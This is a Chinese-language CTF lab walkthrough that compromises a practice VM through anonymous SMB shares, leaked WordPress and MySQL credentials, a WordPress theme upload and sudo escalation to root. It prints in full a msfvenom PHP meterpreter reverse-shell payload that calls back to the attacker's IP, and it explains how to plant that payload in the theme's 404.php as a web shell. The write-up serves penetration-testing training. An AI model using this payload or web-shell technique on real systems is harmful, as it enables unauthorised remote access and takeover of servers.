CTF靶场系列——SMB信息泄露

本文目录

  • 前言
  • SMB服务介绍
  • 实验
    • 实验环境
    • 信息探测
    • 分析探测结果
    • 针对SMB协议弱点分析
    • 针对SMB协议远程溢出漏洞进行分析
    • 针对HTTP协议弱点分析
    • 制作webshell
    • 上传webshell
    • 查找flag信息
    • 总结

前言

CTF靶场系列第三部——利用SMB信息泄漏最终拿到flag

SMB服务介绍

SMB(Server Message
Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。
SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445

emmm,具体的请百度,就不搬运了。

实验

实验环境

1、kali攻击机IP:192.168.40.132
2、靶场IP:192.168.40.146
目标:拿到靶场中的flag

信息探测

对于只是给定一个对应lP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限

nmap -sV [ip]				#挖掘开放服务信息
nmap -A -v -T4 [ip]			#挖掘靶场全部信息

CTF靶场系列——SMB信息泄露_第1张图片
信息显示开启了139445端口,mysql也开启了。
还有smb的版本信息等。
然后第二条命令,扫描靶场全部信息
CTF靶场系列——SMB信息泄露_第2张图片

分析探测结果

每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023在扫描结果中查找特殊端口
老规矩,针对特殊端口进行探测,尤其对开放大端口的http服务进行排查。

针对SMB协议弱点分析

  1. 针对SMB协议,使用空口令,弱口令尝试登录,并查看敏感文件,下载查看;
smbclient -L [ip]

列出该IP分享的所有目录以及链接
CTF靶场系列——SMB信息泄露_第3张图片
这里使用的是空密码(直接敲回车即可)‘
发现了信息:print$这个是共享的打印机、share$共享一个文件夹、IPC$空链接(不需要用户名就可以登录web服务器)。
然后挨个查看就行

smbclient '\\[ip]\print$'

CTF靶场系列——SMB信息泄露_第4张图片
依旧使用的空密码,发现是失败了。无法连接。
开始下一个
CTF靶场系列——SMB信息泄露_第5张图片
依旧空密码,成功连接。可以执行一些命令。比如ls
然后查看下一个(先全部查看完毕在进行更深一步的探测)
CTF靶场系列——SMB信息泄露_第6张图片
同样可以登录到smb服务,可以看到空连接里是没有东西的。直接退出!

刚才在share$的共享文件夹中发现信息,所以再去到share$中进一步获取信息。
使用get下载敏感文件进行查看。

get deets.txt 

下载查看deets.txt
CTF靶场系列——SMB信息泄露_第7张图片
记住这个密码。
浏览查看到wordpress文件夹
CTF靶场系列——SMB信息泄露_第8张图片
看到一堆文件,需要找的是它的配置文件,wordpress的配置文件一般是有用户名和密码的。

get wp-config.php

CTF靶场系列——SMB信息泄露_第9张图片
得到了MySQL的用户名和密码分别是:AdminTogieMYSQL12345^^
之前扫描端口,室友MySQL服务的,在3306端口。所以可以尝试一下远程登录MySQL看看能否成功登录。
CTF靶场系列——SMB信息泄露_第10张图片
可以看出是无法登录的,所以再另想办法。
还有个ssh服务开启,尝试利用ssh服务登录服务器
CTF靶场系列——SMB信息泄露_第11张图片
密码还用的是刚才那个,但是无法登录。密码不正确!

针对SMB协议远程溢出漏洞进行分析

searchsploit samba版本号

CTF靶场系列——SMB信息泄露_第12张图片
版本号前面已经查询过了。
就是上面这张图显示的,。
CTF靶场系列——SMB信息泄露_第13张图片
还是没有可利用的信息。

针对HTTP协议弱点分析

  1. 浏览器查看网站
  2. 使用dirb nikto探测
  3. 寻找突破点,目标登录后台,上传webshell
    CTF靶场系列——SMB信息泄露_第14张图片
    扫差不多就可以停了,向上看,可以看到有wordpress中的wp-admin
    然后尝试访问,在浏览器中访问此链接192.168.40.146/wordpress/wp-admin/
    CTF靶场系列——SMB信息泄露_第15张图片
    后台登录页面,还记得刚才得到的用户名和密码吗,就是它
    CTF靶场系列——SMB信息泄露_第16张图片
    可以成功登录了
    CTF靶场系列——SMB信息泄露_第17张图片
    既然已经登录进去了,就可以上传我们的webshell了。
    下面制作webshell

制作webshell

终端执行

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.40.132 lport=4444 -f raw

CTF靶场系列——SMB信息泄露_第18张图片
记住从注释符后面开始复制,不要将注释符也复制进去

 /**/ error_reporting(0); $ip = '192.168.40.132'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在桌面创建一个新文件将内容复制进去就行。
命令可使用gedit。由于我的kali没装gedit,所以可以装一下。

apt-get install gedit

开始监听此端口
打开metasploit这个工具
使用use exploit/multi/handler模块
设置payload:set payload php/meterpreter/reverse_tcp
CTF靶场系列——SMB信息泄露_第19张图片
最后开启本地监听直接run

上传webshell

使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的PHP页面)
获得反弹的shell
wordpress上传点:theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
CTF靶场系列——SMB信息泄露_第20张图片
然后进行上传
CTF靶场系列——SMB信息泄露_第21张图片
会有提示上传成功的
CTF靶场系列——SMB信息泄露_第22张图片
然后访问一个不存在的页面让其返回404页面。就可以了,上面我已经写到了那个URL,可以访问那个
CTF靶场系列——SMB信息泄露_第23张图片
这个时候应该已经监听到了,回去查看一下
CTF靶场系列——SMB信息泄露_第24张图片
可以看到反弹shell已经成功了。
CTF靶场系列——SMB信息泄露_第25张图片
还能执行一些命令。

查找flag信息

优化终端:python -c "import pty; pty.spawn('/bin/bash')"
查找敏感信息,提升root权限,查看flag值。
查看用户名等信息cat /etc/passwd
找home字眼,找对应的用户进行提权
CTF靶场系列——SMB信息泄露_第26张图片
切换togie用户,su - togie需要密码,前面还有个密码,就是在那个deets.txt文件中发现的12345
然后查看该用户可以执行的权限sudo l,然后看到一些可以执行命令的安全目录
CTF靶场系列——SMB信息泄露_第27张图片
使用sudo su提升到root权限
然后就是找flag了。不出意外都在root根目录下
CTF靶场系列——SMB信息泄露_第28张图片
只不过我的这个有些奇怪。

总结

到这里就结束了。总结一下:
这个靶场系列主要是信息收集,还有对各个服务的弱点分析。
学会了如何制作自己的webshell。利用webshell等一些列知识。
还是信息的收集和分析最重要。
还有就是对metasploit这个工具更加熟悉了。

你可能感兴趣的:(CTF)